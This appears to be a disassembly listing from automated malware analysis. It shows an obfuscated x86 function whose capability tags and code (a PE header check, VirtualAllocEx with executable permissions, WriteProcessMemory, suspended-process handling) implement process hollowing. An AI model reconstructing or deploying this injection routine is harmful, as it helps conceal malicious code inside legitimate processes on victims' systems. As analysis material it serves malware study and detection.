Function at 0x10002f40
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xf4
mov eax, dword [0x1006a600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xfc], 0xad6e6e6f
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x100], eax
sub eax, 0x811dd2c4
je 0x100085a1
jmp 0x10002f7c
mov eax, dword [ebp - 0x100]
sub eax, 0x817b40fe
je 0x100059fe
jmp 0x10002f92
mov eax, dword [ebp - 0x100]
sub eax, 0x818a15dc
je 0x100077e2
jmp 0x10002fa8
mov eax, dword [ebp - 0x100]
sub eax, 0x818b7758
je 0x10008fdc
jmp 0x10002fbe
mov eax, dword [ebp - 0x100]
sub eax, 0x81d1b71a
je 0x10007130
jmp 0x10002fd4
mov eax, dword [ebp - 0x100]
sub eax, 0x81dea420
je 0x1000a14c
jmp 0x10002fea
mov eax, dword [ebp - 0x100]
sub eax, 0x824758cc
je 0x10009e88
jmp 0x10003000
mov eax, dword [ebp - 0x100]
sub eax, 0x83324ab7
je 0x10008243
jmp 0x10003016
mov eax, dword [ebp - 0x100]
sub eax, 0x83c82388
je 0x1000ac60
jmp 0x1000302c
mov eax, dword [ebp - 0x100]
sub eax, 0x84076c54
je 0x10008c37
jmp 0x10003042
mov eax, dword [ebp - 0x100]
sub eax, 0x84c5299b
je 0x10007ad0
jmp 0x10003058
mov eax, dword [ebp - 0x100]
sub eax, 0x8522ef54
je 0x10005f53
jmp 0x1000306e
mov eax, dword [ebp - 0x100]
sub eax, 0x852c5657
je 0x100063a0
jmp 0x10003084
mov eax, dword [ebp - 0x100]
sub eax, 0x863d0f53
je 0x10008bba
jmp 0x1000309a
mov eax, dword [ebp - 0x100]
sub eax, 0x86ac4fb9
je 0x1000abf5
jmp 0x100030b0
mov eax, dword [ebp - 0x100]
sub eax, 0x86b1826b
je 0x10006801
jmp 0x100030c6
mov eax, dword [ebp - 0x100]
sub eax, 0x86da6b1e
je 0x1000aca5
jmp 0x100030dc
mov eax, dword [ebp - 0x100]
sub eax, 0x87c91b03
je 0x10006b34
jmp 0x100030f2
mov eax, dword [ebp - 0x100]
sub eax, 0x8825e4f6
je 0x1000a036
jmp 0x10003108
mov eax, dword [ebp - 0x100]
sub eax, 0x886d3f28
je 0x10009a29
jmp 0x1000311e
mov eax, dword [ebp - 0x100]
sub eax, 0x887f90f3
je 0x10007e03
jmp 0x10003134
mov eax, dword [ebp - 0x100]
sub eax, 0x88d1015e
je 0x1000945a
jmp 0x1000314a
mov eax, dword [ebp - 0x100]
sub eax, 0x88d3099b
je 0x10006f83
jmp 0x10003160
mov eax, dword [ebp - 0x100]
sub eax, 0x88eabafc
je 0x10006d12
jmp 0x10003176
mov eax, dword [ebp - 0x100]
sub eax, 0x89419cef
je 0x10005628
jmp 0x1000318c
mov eax, dword [ebp - 0x100]
sub eax, 0x8a4993c9
je 0x100079b2
jmp 0x100031a2
mov eax, dword [ebp - 0x100]
sub eax, 0x8a6ea5ea
je 0x100058dd
jmp 0x100031b8
mov eax, dword [ebp - 0x100]
sub eax, 0x8a83d810
je 0x10009b5c
jmp 0x100031ce
mov eax, dword [ebp - 0x100]
sub eax, 0x8af7fbf8
je 0x1000746f
jmp 0x100031e4
mov eax, dword [ebp - 0x100]
sub eax, 0x8b2fd381
je 0x1000a7f0
jmp 0x100031fa
mov eax, dword [ebp - 0x100]
sub eax, 0x8ba5f415
je 0x10007de2
jmp 0x10003210
mov eax, dword [ebp - 0x100]
sub eax, 0x8c4aa8b4
je 0x10008d2d
jmp 0x10003226
mov eax, dword [ebp - 0x100]
sub eax, 0x8c55da79
je 0x10007355
jmp 0x1000323c
mov eax, dword [ebp - 0x100]
sub eax, 0x8c8d2d3c
je 0x1000a631
jmp 0x10003252
mov eax, dword [ebp - 0x100]
sub eax, 0x8dfa8ed8
je 0x10007d1f
jmp 0x10003268
mov eax, dword [ebp - 0x100]
sub eax, 0x8e755c83
je 0x1000a77e
jmp 0x1000327e
mov eax, dword [ebp - 0x100]
sub eax, 0x8e9e9224
je 0x10007325
jmp 0x10003294
mov eax, dword [ebp - 0x100]
sub eax, 0x8ec09b10
je 0x10009cc5
jmp 0x100032aa
mov eax, dword [ebp - 0x100]
sub eax, 0x8f30f957
je 0x100090ca
jmp 0x100032c0
mov eax, dword [ebp - 0x100]
sub eax, 0x8f8b161b
je 0x10007606
jmp 0x100032d6
mov eax, dword [ebp - 0x100]
sub eax, 0x8ff82984
je 0x10006208
jmp 0x100032ec
mov eax, dword [ebp - 0x100]
sub eax, 0x90bae405
je 0x10006c19
jmp 0x10003302
mov eax, dword [ebp - 0x100]
sub eax, 0x9184df37
je 0x1000aae1
jmp 0x10003318
mov eax, dword [ebp - 0x100]
sub eax, 0x91d8880b
je 0x10007b63
jmp 0x1000332e
mov eax, dword [ebp - 0x100]
sub eax, 0x91f970ea
je 0x10008e23
jmp 0x10003344
mov eax, dword [ebp - 0x100]
sub eax, 0x91fc19b9
je 0x100090ee
jmp 0x1000335a
mov eax, dword [ebp - 0x100]
sub eax, 0x921625df
je 0x100070b3
jmp 0x10003370
mov eax, dword [ebp - 0x100]
sub eax, 0x923e952c
je 0x1000570e
jmp 0x10003386
mov eax, dword [ebp - 0x100]
sub eax, 0x92b118ca
je 0x1000a1c9
jmp 0x1000339c
mov eax, dword [ebp - 0x100]
sub eax, 0x92c3d4a3
je 0x10007a3a
jmp 0x100033b2
mov eax, dword [ebp - 0x100]
sub eax, 0x92d80315
je 0x10005aec
jmp 0x100033c8
mov eax, dword [ebp - 0x100]
sub eax, 0x92ef68d1
je 0x1000a470
jmp 0x100033de
mov eax, dword [ebp - 0x100]
sub eax, 0x937f53ec
je 0x10006ecf
jmp 0x100033f4
mov eax, dword [ebp - 0x100]
sub eax, 0x9380c911
je 0x10008563
jmp 0x1000340a
mov eax, dword [ebp - 0x100]
sub eax, 0x945eea37
je 0x1000772f
jmp 0x10003420
mov eax, dword [ebp - 0x100]
sub eax, 0x96469fae
je 0x10008ab5
jmp 0x10003436
mov eax, dword [ebp - 0x100]
sub eax, 0x96994fe2
je 0x1000669d
jmp 0x1000344c
mov eax, dword [ebp - 0x100]
sub eax, 0x970b7e96
je 0x100084a4
jmp 0x10003462
mov eax, dword [ebp - 0x100]
sub eax, 0x972f6796
je 0x10008895
jmp 0x10003478
mov eax, dword [ebp - 0x100]
sub eax, 0x982b4ad4
je 0x1000a53c
jmp 0x1000348e
mov eax, dword [ebp - 0x100]
sub eax, 0x984f2894
je 0x10008a52
jmp 0x100034a4
mov eax, dword [ebp - 0x100]
sub eax, 0x9857187f
je 0x1000944b
jmp 0x100034ba
mov eax, dword [ebp - 0x100]
sub eax, 0x988bec02
je 0x1000902d
jmp 0x100034d0
mov eax, dword [ebp - 0x100]
sub eax, 0x9a3194db
je 0x1000a844
jmp 0x100034e6
mov eax, dword [ebp - 0x100]
sub eax, 0x9b9d1372
je 0x1000ac75
mov ecx, dword [0x1006b928]
mov eax, dword [0x1006b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6418a902
mov ecx, 0x3d129cae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov dword [ebp - 0xfc], 0x1ac06e7c
jmp 0x1000ad8f
movss xmm0, dword [0x10018240]
movss dword [ebp - 0xf8], xmm0
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3f629583
mov ecx, 0x7c0ed753
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov dl, 1
mov eax, 0xf1bf145b
mov ecx, 0x1c152272
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov dword [ebp - 0xfc], 0xf1bf145b
jmp 0x1000ad8f
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
mov edx, eax
add edx, 0xd9317c05
sub edx, 1
sub edx, 0xd9317c05
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfc545ab4
mov ecx, 0x4edf36d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10018218]
movss dword [eax], xmm0
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
mov edx, eax
sub edx, 0xf180309a
sub edx, 1
add edx, 0xf180309a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4296fdfc
mov ecx, 0xfddcc60e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10018370]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001836c]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0x32a11e90
jmp 0x1000ad8f
mov dl, 1
mov eax, 0xe0a09527
mov ecx, 0x4b25dbc2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x1001834c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x10018348]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0xbcf7e32e
jmp 0x1000ad8f
mov dword [ebp - 0xfc], 0x4e08466b
jmp 0x1000ad8f
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x10018344]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x10018340]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0xe9986ada
jmp 0x1000ad8f
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100181f0]
movss dword [eax], xmm0
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
mov edx, eax
add edx, 0x16d084ae
sub edx, 1
sub edx, 0x16d084ae
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x585ef755
mov ecx, 0x677f2abb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
mov edx, eax
add edx, 0x77f8831f
sub edx, 1
sub edx, 0x77f8831f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x15732948
mov ecx, 0xe3ea5704
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov dword [ebp - 0xfc], 0xfe4e58a4
jmp 0x1000ad8f
mov dword [ebp - 0xfc], 0x5c259c2a
jmp 0x1000ad8f
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x10018324]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0xe1fc19f2
jmp 0x1000ad8f
mov dword [ebp - 0xfc], 0xe555837
jmp 0x1000ad8f
mov dl, 1
mov eax, 0xa4a9bb8c
mov ecx, 0xab671438
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov dl, 1
mov eax, 0x7f65e51f
mov ecx, 0xea03839b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov dword [ebp - 0xfc], 0x9c4bf3a3
jmp 0x1000ad8f
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x100182dc]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0xa9a1b72
jmp 0x1000ad8f
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x100181d0]
movss dword [eax], xmm0
mov ecx, dword [0x1006b928]
mov eax, dword [0x1006b924]
mov edx, ecx
add edx, 0xf15ad98b
sub edx, 1
sub edx, 0xf15ad98b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaab8a19c
mov ecx, 0xf9491766
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x100181c8]
movss dword [eax], xmm0
mov ecx, dword [0x1006b928]
mov eax, dword [0x1006b924]
mov edx, ecx
add edx, 0x50e986fc
sub edx, 1
sub edx, 0x50e986fc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x120ebb1b
mov ecx, 0x92c3d4a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov dword [ebp - 0xfc], 0xde79e2fc
jmp 0x1000ad8f
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x100181c4]
movss dword [eax], xmm0
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
mov edx, eax
sub edx, 0xdd222f14
sub edx, 1
add edx, 0xdd222f14
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x63a1f469
mov ecx, 0x171e57f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
mov edx, eax
sub edx, 0x4a2af2b3
sub edx, 1
add edx, 0x4a2af2b3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3556b750
mov ecx, 0x7732c9ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
mov edx, eax
add edx, 0x2c821d08
sub edx, 1
sub edx, 0x2c821d08
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdf6413cc
mov ecx, 0x669e3bc2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x100182c8]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0x887f90f3
jmp 0x1000ad8f
mov dl, 1
mov eax, 0xa2a4c896
mov ecx, 0x1adc4e70
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x100182a4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x100182a0]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0x414bd96b
jmp 0x1000ad8f
mov ecx, dword [0x1006b928]
mov eax, dword [0x1006b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb670bfc7
mov ecx, 0xe74cb514
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov dl, 1
mov eax, 0x48451403
mov ecx, 0x7fa66bd3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x1001828c]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0x48451403
jmp 0x1000ad8f
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x1001827c]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0xe188801c
jmp 0x1000ad8f
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x10018198]
movss dword [eax], xmm0
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
mov edx, eax
sub edx, 0xdc46f86c
sub edx, 1
add edx, 0xdc46f86c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x73b4f222
mov ecx, 0x96469fae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov dword [ebp - 0xfc], 0xed4a495d
jmp 0x1000ad8f
mov dword [ebp - 0xfc], 0xf9f969db
jmp 0x1000ad8f
mov ecx, dword [0x1006b928]
mov eax, dword [0x1006b924]
mov edx, ecx
sub edx, 0x9ea36afb
sub edx, 1
add edx, 0x9ea36afb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdfbb6a2a
mov ecx, 0x752cd741
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov dl, 1
mov eax, 0xb13ddcf1
mov ecx, 0xc9fd1db2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov ecx, dword [0x1006b928]
mov eax, dword [0x1006b924]
mov edx, ecx
sub edx, 0x424ccd5c
sub edx, 1
add edx, 0x424ccd5c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcf3fd86e
mov ecx, 0x385905ba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
mov edx, eax
sub edx, 0xeabc3f6b
sub edx, 1
add edx, 0xeabc3f6b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x29cdd1aa
mov ecx, 0x988bec02
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4b600
call section..text
add esp, 8
mov eax, dword [ebp - 0xd8]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x29cdd1aa
mov ecx, 0xad1d4946
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov eax, dword [ebp - 0x7c]
movzx edx, word [eax]
mov eax, 0x92ef68d1
mov ecx, 0x91fc19b9
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd4]
mov ecx, dword [ecx]
mov edx, dword [ecx + 0x3c]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x78], eax
mov dword [ebp - 0xfc], 0x15a3b33a
jmp 0x1000ad8f
mov dword [ebp - 0xfc], 0x88d1015e
jmp 0x1000ad8f
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.100026d0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xcc]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xc8]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov edx, dword [ebp - 0xb4]
mov eax, 0x4a6d4884
mov ecx, 0x42b3fb19
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xac]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x9c]
imul edx, dword [edx], 0x28
add ecx, edx
cmp eax, dword [ecx + 0xc]
setae al
and al, 1
mov byte [ebp - 0x4e], al
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
mov edx, eax
sub edx, 0xd8aeadb3
sub edx, 1
add edx, 0xd8aeadb3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9b9d1372
mov ecx, 0x1f61096d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov ecx, dword [0x1006b928]
mov eax, dword [0x1006b924]
mov edx, ecx
add edx, 0x8fdbf6bb
sub edx, 1
sub edx, 0x8fdbf6bb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x534c4651
mov ecx, 0x5622fab2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov dword [ebp - 0xfc], 0x7a491a45
jmp 0x1000ad8f
mov eax, dword [ebp - 0xa4]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0x94]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x90]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
add ecx, 0xff2df011
sub ecx, eax
sub ecx, 0xff2df011
mov eax, dword [ebp - 0x8c]
mov dword [eax], ecx
mov ecx, dword [0x1006b928]
mov eax, dword [0x1006b924]
mov edx, ecx
add edx, 0x52cf37
sub edx, 1
sub edx, 0x52cf37
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcd702f66
mov ecx, 0x349ce6d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000ad8f
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0xfc], 0x3ddfce16
jmp 0x1000ad8f
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x28]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0xfc], 0x3f53832b
jmp 0x1000ad8f
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x24]
mov dword [eax], ecx
mov dword [ebp - 0xfc], 0x462f0eaf
jmp 0x1000ad8f
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000b3c0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
movss xmm0, dword [0x1001823c]
movss dword [ebp - 0xf8], xmm0
movss xmm0, dword [0x10018238]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0xfc], 0xbfc6d9b5
jmp 0x1000ad8f
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001821c]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0xa43904b1
jmp 0x1000ad8f
mov dword [ebp - 0xfc], 0x748290ed
jmp 0x1000ad8f
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100181e4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100181e0]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0xb0915ca8
jmp 0x1000ad8f
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100181d8]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0xabef15cc
jmp 0x1000ad8f
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x10018190]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0xf09bf477
jmp 0x1000ad8f
mov eax, dword [ebp - 0x5c]
movzx eax, word [eax]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x60]
sub ecx, 0xc3f5ba83
add ecx, eax
add ecx, 0xc3f5ba83
mov eax, dword [ebp - 0xa8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa4]
mov dword [eax], 0
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xa0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x9c]
mov dword [eax], 0
mov dword [ebp - 0xfc], 0xb230a091
jmp 0x1000ad8f
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xfc], 0xf312978a
jmp 0x1000ad8f
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0xfc], 0xc331a41d
jmp 0x1000ad8f
jmp 0x10002f60